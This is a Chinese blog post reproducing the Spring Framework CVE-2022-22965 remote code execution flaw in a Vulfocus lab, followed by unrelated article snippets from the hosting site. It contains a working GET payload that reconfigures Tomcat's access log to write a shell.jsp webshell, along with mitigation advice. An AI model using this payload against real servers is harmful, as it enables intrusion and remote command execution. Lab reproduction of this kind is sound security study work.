(CVE-2022-22965)Spring Framework 远程命令执行漏洞(vulfocus复现)

news2024/10/7 16:21:24

漏洞原理

该漏洞是SpringFramework数据绑定的一个漏洞,如果后台方法中接受的参数为非基础类型,Spring会根据前端传入的请求正文中的参数的key值来查询与其名称所对应的getter和setter方法,攻击者利用这一特性修改了Tomcat的一个用于日志记录的类的属性,进而当Tomcat在进行写日志操作的时候,将攻击者传递的恶意代码写入指定目录的指定文件中。

影响范围

JDK>=9、Spring Framework <= 5.3.17

复现过程

在这里插入图片描述
启动环境后,打开地址,发现就是一个简单的白页。
在这里插入图片描述
上poc,可以直接将这个poc一次发完,也可以分为5此,进行发送。
在这里插入图片描述

GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=sss&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1

打开shell.jsp页面,发现已经写入。如果要写java代码或者jsp代码,需要进行url编码。具体可以参考网上现有exp。
在这里插入图片描述

注意

在复现过程中,发现只能生成一份文件,当第一份文件创建完后,在该环境中不可以再次生成另一份不同名的文件。后续想要getshell,只可以在第一份生成的文件中通过继续增加的方式,写入shell。
如果想再次生成文件,需要将原来的环境删除,并再次启动。重复上面的操作。
(很疑惑是不是生成环境中也是这样?那岂不是说只要第一次文件写错,那这个洞岂不是用不了了。如果有大佬知道什么情况,希望可以指点下。)

修复建议

1、该漏洞仅在JDK9及以上才可以被利用,可以降低JDK版本至JDK8;
2、升级Tomcat的版本,从官网可以看到Apache Tomcat已经发布了10.0.20、9.0.62以及8.5.78版本,从Tomcat方面阻断该漏洞的利用链;
3、利用WAF、IPS等应用层的入侵检测设备,可以看到公开的EXP都是通过POST上传了jsp文件,而在参数中都带有class、classloader等字段,因此可以对这些字段进行过滤。
4、升级SpringFramework版本。

参考链接

Spring Framework远程代码执行漏洞(CVE-2022-22965):https://www.cnblogs.com/RichardYg/p/16350665.html
Vulfocus复现Spring框架远程命令执行漏洞(CNVD-2022-23942):https://blog.csdn.net/Aquarius_ego/article/details/124794818
Spring 框架远程代码执行漏洞(CVE-2022-22965):http://www.taodudu.cc/news/show-4655422.html?action=onClick

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/513932.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

java开发记录v2(引入jar,问题及解决)

引入本地jar包 在src同级目录下新建libs目录将jar包放入进去 在pom.xml中下加入以下代码 <dependencies><dependency><groupId>com.hikvision.ga</groupId><artifactId>artemis-http-client</artifactId><version>1.1.8</ver…

Acer非凡X14笔记本电脑蓝屏了怎么U盘重装系统?

Acer非凡X14笔记本电脑蓝屏了怎么U盘重装系统&#xff1f;有用户在使用Acer非凡X14笔记本电脑的时候&#xff0c;系统开机后出现了蓝屏的情况&#xff0c;导致自己的电脑无法正常的去进行使用。那么这个情况怎么去通过U盘重装系统的方法来恢复系统的使用呢&#xff1f;一起来看…

软考A计划-重点考点-专题十二(JAVA程序设计)

点击跳转专栏>Unity3D特效百例点击跳转专栏>案例项目实战源码点击跳转专栏>游戏脚本-辅助自动化点击跳转专栏>Android控件全解手册点击跳转专栏>Scratch编程案例 &#x1f449;关于作者 专注于Android/Unity和各种游戏开发技巧&#xff0c;以及各种资源分享&am…

数据中心列头柜监控在常熟某微模块中的应用

安科瑞 耿敏花 摘要&#xff1a;安科瑞精密配电系统是安科瑞针对数据中心集中监控要求提供的多回路监控装置&#xff0c;监控多回路电参量并可对各种故障进行告警。主要适用于各类列头柜、精密配电柜、电源分配柜、UPS输出柜等末端配电设备的监控。在阐述数据中心机房机柜配电…

Keepalived结合Nginx实现WEB高可用服务

前言 随着Nginx在国内的发展潮流&#xff0c;越来越多的互联网公司都在使用Nginx&#xff0c;Nginx高性能、稳定性成为IT人士青睐的HTTP和反向代理服务器。 Nginx负载均衡一般位于整个网站架构的最前端或者中间层&#xff0c;如果为最前端时单台Nginx会存在单点故障&#xff0…

【SpringBoot2】四:核心技术----配置文件

文章目录 1.SpringBoot配置文件种类2.yaml3.支持的数据类型4.对象5.数组6.字面量7.示例 1.SpringBoot配置文件种类 主要有两种类型&#xff1a; properties yaml 2.yaml 语法&#xff1a; 大小写敏感使用缩进表示层级关系缩进不允许使用tab&#xff0c;只允许空格缩进的空格…

开源字节数字化乡村系统

随着社会的发展&#xff0c;互联网技术的迅速发展&#xff0c;乡村建设也受到了越来越多的关注。互联网乡村建设是一种新型的乡村建设模式&#xff0c;它将互联网技术与乡村建设相结合&#xff0c;以提高乡村建设的效率和质量。为了实现互联网乡村建设&#xff0c;需要建立一个…

2023 FP独立站的运营玩法汇总

无论Paypal怎么风控封号、冻结资金&#xff0c;但还是有很多新人前仆后继地加入外贸独立站这一行&#xff0c;特别是做FP。因为明白人都知道&#xff0c;FP利润空间比普货产品大得多。 那么2023年的独立站我们该怎么做&#xff0c;怎么运营才能逐步起色&#xff1f;今天我就跟…

Java版工程项目管理系统平台+企业工程系统源码+助力工程企业实现数字化管理

Java版工程项目管理系统 Spring CloudSpring BootMybatisVueElementUI前后端分离 功能清单如下&#xff1a; 首页 工作台&#xff1a;待办工作、消息通知、预警信息&#xff0c;点击可进入相应的列表 项目进度图表&#xff1a;选择&#xff08;总体或单个&#xff09;项目显示1…

48-Dockerfile-CMD/ENTRYPOINT指令

CMD/ENTRYPOINT指令 前言CMD作用格式使用示例 ENTRYPOINT作用格式使用示例CMD/ENTRYPOINT区别CMD使用示例ENTRYPOINT使用示例 前言 本篇来学习下Dockerfile中的CMD/ENTRYPOINT指令 CMD 作用 启动容器时默认执行的命令 说明&#xff1a; 一个 Dockerfile 只有一个 CMD 指令&…

nginx+flume网络流量日志实时数据分析实战

文章目录 nginxflume网络流量日志实时数据分析实战网络流量日志数据分析-概述网络流量日志数据分析-数据处理流程网络流量日志数据分析-数据采集网站日志文件启动nginx服务器:刷新页面,查看日志信息:日志字段解释 网络流量日志数据分析-数据采集-Flume框架Flume概述Flume运行机…

ESP32-C2开发板烧录演示

一、准备工作 数据线X 1 、 四博智联 ESPC2-12 开发板 X 1 二、环境搭建 1、进入https://code.visualstudio.com 官网下载VSCODE软件 2、安装完成后安装乐鑫插件如下图 3、插件安装完后&#xff0c;查看- 命令面板&#xff08;快捷键CtrlShiftP&#xff09;。 4、输入config…

基于C#的上位机和组态软件:如何选择最佳方案?

C#上位机并非取代组态软件&#xff0c;而是其补充&#xff0c;它们各自在不同的应用场景中发挥作用。 如果您了解组态&#xff0c;但不懂C#编程&#xff0c;且没有特殊需求&#xff08;如自定义协议、复杂业务、第三方系统对接等&#xff09;&#xff0c;并且希望获得良好的功…

无人机航测行业中常见名词解释,你都知道吗?

无人机航测具有机动灵活、高效快速、作业成本低、适用范围广、生产周期短等优势&#xff0c;目前主要应用于地形测绘、工程建设、土地资源调查、地质灾害应急处理、城市数字化建设等方面。下面就来了解一下无人机航测行业中的常见名词吧。 1、航片&#xff1a;利用航空摄影器拍…

有什么好用的云渲染?

在CG制作流程中&#xff0c;离线渲染一直是必要且耗时的环节。你的场景越复杂&#xff0c;渲染出现问题的可能性就越大&#xff0c;尤其是当你独自工作&#xff0c;没有人给你建议的时候&#xff0c;灯光、模型、场景任何一个环节渲染时出现问题都可能让你焦头烂额&#xff0c;…

掌握这些思维技巧,解救996的打工人!

你身边有没有这样的人&#xff1a;面对堆积如山的工作、随时弹出的任务&#xff0c;接二连三的群也能游刃有余地处理。回看自己&#xff0c;旧的任务还在做&#xff0c;新的任务已经从天而降&#xff0c;日程表上满是任务却无从下手…… 明明忙个不停却成果甚微&#xff0c;这…

数据结构与算法基础

目录 第六章、数据结构与算法基础1、数组与矩阵1.1、数组1.2、稀疏矩阵1.3、数据结构的定义 2、线性表 2.1、顺序表和链表2.2、顺序存储与链式存储对比2.3、 队列与栈 3、广义表4、树与二叉树 4.1、特殊二叉树4.2、二叉树遍历4.3、反向构造二叉树4.4、树转二叉树4.5、查找二叉…

自然语言处理实战项目6-无监督学习之文本聚类分析,将任意文本分类

大家好&#xff0c;我是微学AI&#xff0c;今天给大家介绍一下自然语言处理实战项目6-无监督学习之文本聚类分析&#xff0c;将任意文本分类。当今互联网上的数据量越来越大&#xff0c;机器学习技术越来越成熟。在这种情况下&#xff0c;将文本按其主题或者意义进行分类是一项…

本地部署 Whisper

本地部署 Whisper 1. 什么是 Whisper2. Github 地址3. 创建虚拟环境4. 安装 ffmpeg5. 部署 Whisper6. 使用 Whisper 1. 什么是 Whisper Whisper 是一个通用的语音识别模型。它是在一个大型的不同音频数据集上训练出来的&#xff0c;也是一个多任务模型&#xff0c;可以进行多语…

微服务介绍 SpringCloud,服务拆分和远程调用,注册中心Eureka,负载均衡Ribbon,注册中心Nacos

一、微服务介绍 1.系统架构的演变 什么是微服务&#xff0c;微服务有哪些特征SpringCloud是什么SpringCloud与Dubbo的区别 1.单体架构 将业务的所有功能集中在一个项目中开发&#xff0c;打成一个包部署。当网站流量很小时&#xff0c;单体架构非常合适 1.单体架构 优点&a…